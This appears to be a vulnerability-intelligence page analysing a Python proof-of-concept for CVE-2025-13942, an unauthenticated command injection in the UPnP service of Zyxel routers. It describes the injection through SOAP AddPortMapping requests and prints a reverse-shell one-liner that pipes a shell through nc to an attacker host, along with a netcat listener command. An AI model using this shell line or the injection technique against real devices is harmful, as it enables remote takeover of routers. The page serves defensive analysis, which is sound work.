CVE-2025-13942

GitHubCurated repository PoCExploitPythonhacefresko/CVEs

PoC files

5 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact contains a Python script (rce.py) that exploits CVE-2025-13942, an unauthenticated command injection vulnerability in the UPnP service of Zyxel routers. The script sends crafted SOAP requests to build and execute a reverse shell command on the target device.

Backdoor review

No backdoor observed in reviewed code

The PoC consists of a README describing a command injection vulnerability in Zyxel firmware and a Python script (rce.py) that exploits it to establish a reverse shell. The script sends crafted UPnP SOAP requests to the target device to build and execute a reverse shell command. This behavior is consistent with the described vulnerability and does not exhibit any concealed, deceptive, or operator-directed harm beyond the stated exploit.

ClassificationExploit
Model confidence100%
AuthenticationNot required
LanguagesPython
Target softwareZyxel zupnp UPnP service
Attack typesOS command injectionreverse shell
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The rce.py script actively exploits the vulnerability by sending crafted SOAP requests to inject OS commands and establish a reverse shell. It does not merely detect or report the vulnerability; it executes the full exploitation chain.

rce.py:1-93

Requirements

  • Target device must be running a vulnerable version of the Zyxel zupnp service with the UPnP control interface exposed on TCP port 38400.README.md:3
  • Attacker must be able to reach TCP port 38400 on the target device.rce.py:12
  • Attacker must provide a listener IP and port for the reverse shell connection.rce.py:3-4

Observed behavior

  • Sends a DeletePortMapping SOAP request to clear an existing port mapping entry.rce.py:15-31
  • Sends an AddPortMapping SOAP request with a command injection payload in the NewInternalClient field to delete a temporary file on the target.rce.py:68
  • Iterates through each character of a reverse shell command and sends an AddPortMapping request per character to append it to a temporary script file on the target using printf.rce.py:75-88
  • Sends a final AddPortMapping request to execute the assembled reverse shell script on the target.rce.py:93
  • Starts a local netcat listener to receive the reverse shell connection.rce.py:61-63
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker> 4444 >/tmp/fThe script constructs and executes a reverse shell on the target device, which is the stated goal of the exploit.rce.py:8
Listener
nc -lp 4444The script starts a netcat listener on the attacker's machine to receive the reverse shell connection.rce.py:9rce.py:62-63
Review boundaries

What the analysis did not establish

  • The evidence includes only the README.md and rce.py files; images referenced in the README (strcpy.png, snprintf.png, poc.png) are not included as text and were not analyzed.
  • The analysis is based solely on static review of the provided source code; the code was not executed, and its effectiveness is not verified.
  • Only the two text files (README.md and rce.py) were reviewed. Three non-text media files (images) totaling 202,410 bytes were present but not analyzed, as per the binary policy.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1